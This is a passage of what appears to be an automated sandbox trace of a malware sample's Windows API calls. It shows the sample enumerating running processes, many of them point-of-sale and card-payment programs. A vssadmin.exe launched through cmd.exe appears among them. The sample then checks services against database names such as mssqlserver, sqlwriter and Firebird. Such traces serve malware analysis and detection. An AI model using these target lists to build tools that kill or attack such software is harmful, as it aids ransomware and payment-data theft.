returned 1 [0089.593] lstrlenW (lpString="active-charge.exe") returned 17 [0089.593] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0089.594] lstrlenW (lpString="accupos.exe") returned 11 [0089.594] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0089.595] lstrlenW (lpString="afr38.exe") returned 9 [0089.595] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0089.596] lstrlenW (lpString="aldelo.exe") returned 10 [0089.596] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0089.597] lstrlenW (lpString="ccv_server.exe") returned 14 [0089.597] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0089.598] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0089.598] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0089.599] lstrlenW (lpString="creditservice.exe") returned 17 [0089.599] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0089.600] lstrlenW (lpString="edcsvr.exe") returned 10 [0089.600] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0089.601] lstrlenW (lpString="fpos.exe") returned 8 [0089.601] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0089.602] lstrlenW (lpString="isspos.exe") returned 10 [0089.602] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0089.603] lstrlenW (lpString="mxslipstream.exe") returned 16 [0089.603] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0089.604] lstrlenW (lpString="omnipos.exe") returned 11 [0089.604] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0089.604] lstrlenW (lpString="spcwin.exe") returned 10 [0089.605] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0089.605] lstrlenW (lpString="spgagentservice.exe") returned 19 [0089.606] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0089.606] lstrlenW (lpString="utg2.exe") returned 8 [0089.606] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0089.607] lstrlenW (lpString="atlascomedy.exe") returned 15 [0089.607] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0089.608] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0089.608] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0089.609] lstrlenW (lpString="ntsc.exe") returned 8 [0089.609] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0089.610] lstrlenW (lpString="criteria.exe") returned 12 [0089.610] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0089.611] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0089.611] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0089.611] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0089.612] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0089.612] lstrlenW (lpString="taskhost.exe") returned 12 [0089.612] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0089.613] lstrlenW (lpString="winhost.exe") returned 11 [0089.613] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0089.614] lstrlenW (lpString="cmd.exe") returned 7 [0089.614] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0089.615] lstrlenW (lpString="conhost.exe") returned 11 [0089.615] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0089.616] lstrlenW (lpString="vssadmin.exe") returned 12 [0089.616] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0089.616] lstrlenW (lpString="VSSVC.exe") returned 9 [0089.616] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0089.617] CloseHandle (hObject=0x1b8) returned 1 [0089.617] Sleep (dwMilliseconds=0x1f4) [0090.901] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609cf0 [0090.902] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0090.902] GetLastError () returned 0xea [0090.903] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12c6) returned 0x39777a0 [0090.903] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x12c6, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0090.904] CloseServiceHandle (hSCObject=0x609cf0) returned 1 [0090.905] lstrlenW (lpString="Appinfo") returned 7 [0090.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0090.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0090.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0090.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0090.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0090.905] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0090.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0090.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0090.905] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0090.905] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0090.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0090.906] lstrlenW (lpString="AudioSrv") returned 8 [0090.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0090.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0090.906] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0090.906] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0090.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0090.906] lstrlenW (lpString="BFE") returned 3 [0090.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0090.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0090.906] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0090.906] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0090.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0090.907] lstrlenW (lpString="CryptSvc") returned 8 [0090.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0090.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0090.907] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0090.907] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0090.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0090.907] lstrlenW (lpString="CscService") returned 10 [0090.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0090.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0090.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0090.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0090.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0090.908] lstrlenW (lpString="DcomLaunch") returned 10 [0090.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0090.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0090.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0090.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0090.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0090.909] lstrlenW (lpString="Dhcp") returned 4 [0090.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0090.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0090.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0090.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0090.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0090.909] lstrlenW (lpString="Dnscache") returned 8 [0090.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0090.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0090.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0090.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0090.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0090.910] lstrlenW (lpString="DPS") returned 3 [0090.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0090.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0090.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0090.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0090.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0090.910] lstrlenW (lpString="eventlog") returned 8 [0090.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0090.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0090.911] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0090.911] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0090.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0090.911] lstrlenW (lpString="EventSystem") returned 11 [0090.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0090.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0090.911] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0090.911] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0090.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0090.911] lstrlenW (lpString="gpsvc") returned 5 [0090.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0090.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0090.911] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0090.911] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0090.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0090.912] lstrlenW (lpString="iphlpsvc") returned 8 [0090.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0090.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0090.912] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0090.912] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0090.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0090.912] lstrlenW (lpString="LanmanServer") returned 12 [0090.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0090.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0090.912] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0090.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0090.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0090.913] lstrlenW (lpString="LanmanWorkstation") returned 17 [0090.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0090.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0090.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0090.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0090.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0090.913] lstrlenW (lpString="lmhosts") returned 7 [0090.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0090.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0090.913] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0090.913] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0090.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0090.914] lstrlenW (lpString="MMCSS") returned 5 [0090.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0090.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0090.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0090.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0090.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0090.914] lstrlenW (lpString="MpsSvc") returned 6 [0090.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0090.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0090.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0090.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0090.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0090.915] lstrlenW (lpString="Netman") returned 6 [0090.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0090.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0090.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0090.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0090.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0090.915] lstrlenW (lpString="netprofm") returned 8 [0090.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0090.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0090.915] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0090.915] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0090.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0090.916] lstrlenW (lpString="NlaSvc") returned 6 [0090.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0090.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0090.916] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0090.916] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0090.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0090.916] lstrlenW (lpString="nsi") returned 3 [0090.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0090.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0090.916] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0090.917] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0090.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0090.917] lstrlenW (lpString="PcaSvc") returned 6 [0090.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0090.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0090.917] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0090.917] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0090.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0090.917] lstrlenW (lpString="PlugPlay") returned 8 [0090.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0090.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0090.917] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0090.918] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0090.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0090.918] lstrlenW (lpString="Power") returned 5 [0090.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0090.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0090.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0090.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0090.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0090.918] lstrlenW (lpString="ProfSvc") returned 7 [0090.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0090.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0090.918] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0090.919] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0090.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0090.919] lstrlenW (lpString="RpcEptMapper") returned 12 [0090.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0090.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0090.919] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0090.919] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0090.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0090.919] lstrlenW (lpString="RpcSs") returned 5 [0090.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0090.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0090.919] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0090.919] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0090.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0090.920] lstrlenW (lpString="SamSs") returned 5 [0090.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0090.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0090.920] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0090.920] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0090.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0090.920] lstrlenW (lpString="Schedule") returned 8 [0090.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0090.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0090.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0090.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0090.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0090.920] lstrlenW (lpString="SENS") returned 4 [0090.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0090.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0090.921] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0090.921] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0090.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0090.921] lstrlenW (lpString="ShellHWDetection") returned 16 [0090.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0090.921] lstrcmpiW 